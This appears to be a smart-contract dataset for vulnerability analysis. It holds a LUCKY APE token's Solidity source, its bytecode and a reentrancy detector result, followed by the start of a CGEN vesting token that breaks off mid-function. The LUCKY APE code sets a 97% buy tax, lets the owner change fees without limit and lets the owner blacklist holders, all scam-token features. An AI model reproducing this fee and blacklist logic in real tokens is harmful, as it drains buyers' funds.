address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LUCKYAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "LUCKY APE";
string private constant _symbol = "LUCKY APE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xfB9D4E0287fE7F6ec73eBb09F9E7dB8548010376);
address payable private _marketingAddress = payable(0xfB9D4E0287fE7F6ec73eBb09F9E7dB8548010376);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192e565b6105ca565b005b34801561020a57600080fd5b5060408051808201825260098152684c55434b592041504560b81b6020820152905161023691906119f3565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a48565b610669565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611a74565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ab5565b6106e9565b34801561036a57600080fd5b506101fc610379366004611ae2565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b506102be6103ae366004611ab5565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611afd565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ab5565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611ae2565b61088c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611afd565b6108d4565b3480156104ab57600080fd5b506101fc6104ba366004611b16565b610903565b3480156104cb57600080fd5b5061025f6104da366004611a48565b610941565b3480156104eb57600080fd5b5061025f6104fa366004611ab5565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc61094e565b34801561053057600080fd5b506101fc61053f366004611b48565b6109a2565b34801561055057600080fd5b506102be61055f366004611bcc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611afd565b610a43565b3480156105b657600080fd5b506101fc6105c5366004611ab5565b610a72565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611c05565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611c3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611c66565b915050610600565b5050565b6000610676338484610b5c565b5060015b92915050565b600061068d848484610c80565b6106df84336106da85604051806060016040528060288152602001611d80602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c4816111f6565b50565b6001600160a01b03811660009081526002602052604081205461067a90611230565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611c05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611c05565b601655565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105f490611c05565b601855565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105f490611c05565b600893909355600a91909155600955600b55565b6000610676338484610c80565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b6000610997306107c7565b90506107c4816112b4565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016105f490611c05565b60005b82811015610a3d5781600560008686858181106109ee576109ee611c3a565b9050602002016020810190610a039190611ab5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611c66565b9150506109cf565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105f490611c05565b601755565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601554600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0157506001600160a01b03821660009081526010602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610fde5760175481610f7b846107c7565b610f859190611c81565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000610fe9306107c7565b6018546016549192508210159082106110025760165491505b8080156110195750601554600160a81b900460ff16155b801561103357506015546001600160a01b03868116911614155b80156110485750601554600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a0826112b4565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506015546001600160a01b0385811691161480159061112957506015546001600160a01b03848116911614155b15611136575060006111b0565b6015546001600160a01b03858116911614801561116157506014546001600160a01b03848116911614155b1561117357600854600c55600954600d555b6015546001600160a01b03848116911614801561119e57506014546001600160a01b03858116911614155b156111b057600a54600c55600b54600d555b610a3d8484848461143d565b600081848411156111e05760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611c99565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b60006006548211156112975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006112a161146b565b90506112ad838261148e565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c3a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113889190611cb0565b8160018151811061139b5761139b611c3a565b6001600160a01b0392831660209182029290920101526014546113c19130911684610b5c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fa908590600090869030904290600401611ccd565b600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144a5761144a6114d0565b6114558484846114fe565b80610a3d57610a3d600e54600c55600f54600d55565b60008060006114786115f5565b9092509050611487828261148e565b9250505090565b60006112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611635565b600c541580156114e05750600d54155b156114e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151087611663565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154290876116c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115719086611702565b6001600160a01b03891660009081526002602052604090205561159381611761565b61159d84836117ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611610828261148e565b82101561162c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116565760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611d3e565b60008060008060008060008060006116808a600c54600d546117cf565b925092509250600061169061146b565b905060008060006116a38e878787611824565b919e509c509a509598509396509194505050505091939550919395565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b60008061170f8385611c81565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b600061176b61146b565b905060006117798383611874565b306000908152600260205260409020549091506117969082611702565b30600090815260026020526040902055505050565b6006546117b890836116c0565b6006556007546117c89082611702565b6007555050565b60008080806117e960646117e38989611874565b9061148e565b905060006117fc60646117e38a89611874565b905060006118148261180e8b866116c0565b906116c0565b9992985090965090945050505050565b60008080806118338886611874565b905060006118418887611874565b9050600061184f8888611874565b905060006118618261180e86866116c0565b939b939a50919850919650505050505050565b6000826118835750600061067a565b600061188f8385611d60565b90508261189c8583611d3e565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b803561192981611909565b919050565b6000602080838503121561194157600080fd5b823567ffffffffffffffff8082111561195957600080fd5b818501915085601f83011261196d57600080fd5b81358181111561197f5761197f6118f3565b8060051b604051601f19603f830116810181811085821117156119a4576119a46118f3565b6040529182528482019250838101850191888311156119c257600080fd5b938501935b828510156119e7576119d88561191e565b845293850193928501926119c7565b98975050505050505050565b600060208083528351808285015260005b81811015611a2057858101830151858201604001528201611a04565b81811115611a32576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5b57600080fd5b8235611a6681611909565b946020939093013593505050565b600080600060608486031215611a8957600080fd5b8335611a9481611909565b92506020840135611aa481611909565b929592945050506040919091013590565b600060208284031215611ac757600080fd5b81356112ad81611909565b8035801515811461192957600080fd5b600060208284031215611af457600080fd5b6112ad82611ad2565b600060208284031215611b0f57600080fd5b5035919050565b60008060008060808587031215611b2c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5d57600080fd5b833567ffffffffffffffff80821115611b7557600080fd5b818601915086601f830112611b8957600080fd5b813581811115611b9857600080fd5b8760208260051b8501011115611bad57600080fd5b602092830195509350611bc39186019050611ad2565b90509250925092565b60008060408385031215611bdf57600080fd5b8235611bea81611909565b91506020830135611bfa81611909565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7a57611c7a611c50565b5060010190565b60008219821115611c9457611c94611c50565b500190565b600082821015611cab57611cab611c50565b500390565b600060208284031215611cc257600080fd5b81516112ad81611909565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1d5784516001600160a01b031683529383019391830191600101611cf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7a57611d7a611c50565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a9c420cfee47240c2f0bd5c5c65aff1ad4606306f97ef02b87570913c2a1b3d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 847 |
0x6c9eCe80505a55c4fc373900994800340A5E2e14 | pragma solidity ^0.4.21;
/*
* Contract that is working with ERC223 tokens
*/
contract ERC223Receiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure;
}
/* New ERC223 contract interface */
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
// redundant as public accessors are automatically assigned
// function name() public view returns (string _name);
// function symbol() public view returns (string _symbol);
// function decimals() public view returns (uint8 _decimals);
// function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
//event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CGENToken is ERC223 {
// standard token metadata
// implements ERC20/ERC223 interface
string public constant name = "Cryptanogen";
string public constant symbol = "CGEN" ;
uint8 public constant decimals = 8;
// amount of tokens vested
uint128 public availableSupply;
// individual vesting data
struct vesting {
uint createdAt;
uint128 amount;
uint8 releaseRate;
uint32 releaseIntervalSeconds;
uint8 nextReleasePeriod;
bool completed;
}
struct tokenAccount {
uint128 vestedBalance;
uint128 releasedBalance;
vesting []vestingIndex;
}
// locked balance per address
mapping (address => tokenAccount) tokenAccountIndex;
// contract owner
address public owner;
// contract creation time
uint creationTime;
// How often vested tokens are released
//uint32 public defaultReleaseIntervalSeconds = 31536000;
// Percentage vested amount released each interval
//uint8 public defaultReleaseRate = 10;
function CGENToken(uint _supply) public {
totalSupply = _supply;
availableSupply = uint128(totalSupply);
require(uint(availableSupply) == totalSupply);
owner = msg.sender;
creationTime = now;
emit Transfer(0x0, owner, _supply);
}
// creates a new vesting with default parameters for rate and interval
// function vestToAddress(address _who, uint128 _amount) public returns(bool) {
// return vestToAddressEx(_who, _amount, defaultReleaseRate, defaultReleaseIntervalSeconds);
// }
// creates a new vesting with explicit parameters for rate and interval
function vestToAddressEx(address _who, uint128 _amount, uint8 _divisor, uint32 _intervalSeconds) public returns(bool) {
// uninitialized but all fields will be set below
vesting memory newVesting;
// vestings are registered manually by contract owner
require(msg.sender == owner);
// duh
require(_amount > 0);
require(_divisor <= 100 && _divisor > 0);
require(_intervalSeconds > 0);
// rate should divide evenly to 100 (percent)
require(100 % _divisor == 0);
// prevent vesting of more tokens than total supply
require(_amount <= availableSupply);
newVesting.createdAt = now;
newVesting.amount = _amount;
newVesting.releaseRate = 100 / _divisor;
newVesting.releaseIntervalSeconds = _intervalSeconds;
newVesting.nextReleasePeriod = 0;
newVesting.completed = false;
tokenAccountIndex[_who].vestingIndex.push(newVesting);
availableSupply -= _amount;
tokenAccountIndex[_who].vestedBalance += _amount;
emit Transfer(owner, _who, _amount);
return true;
}
// check the vesting at the particular index for the address for amount eligible for release
// returns the eligible amount
function checkRelease(address _who, uint _idx) public view returns(uint128) {
vesting memory v;
uint i;
uint timespan;
uint timestep;
uint maxEligibleFactor;
uint128 releaseStep;
uint128 eligibleAmount;
// check if any tokens have been vested to this account
require(tokenAccountIndex[_who].vestingIndex.length > _idx);
v = tokenAccountIndex[_who].vestingIndex[_idx];
if (v.completed) {
return 0;
}
// by dividing timespan (time passed since vesting creation) by the release intervals, we get the maximal rate that is eligible for release so far
// cap it at 100 percent
timespan = now - tokenAccountIndex[_who].vestingIndex[_idx].createdAt;
timestep = tokenAccountIndex[_who].vestingIndex[_idx].releaseIntervalSeconds * 1 seconds;
maxEligibleFactor = (timespan / timestep) * tokenAccountIndex[_who].vestingIndex[_idx].releaseRate;
if (maxEligibleFactor > 100) {
maxEligibleFactor = 100;
}
releaseStep = (tokenAccountIndex[_who].vestingIndex[_idx].amount * tokenAccountIndex[_who].vestingIndex[_idx].releaseRate) / 100;
// iterate from the cursor on the next vesting period that has not yet been released
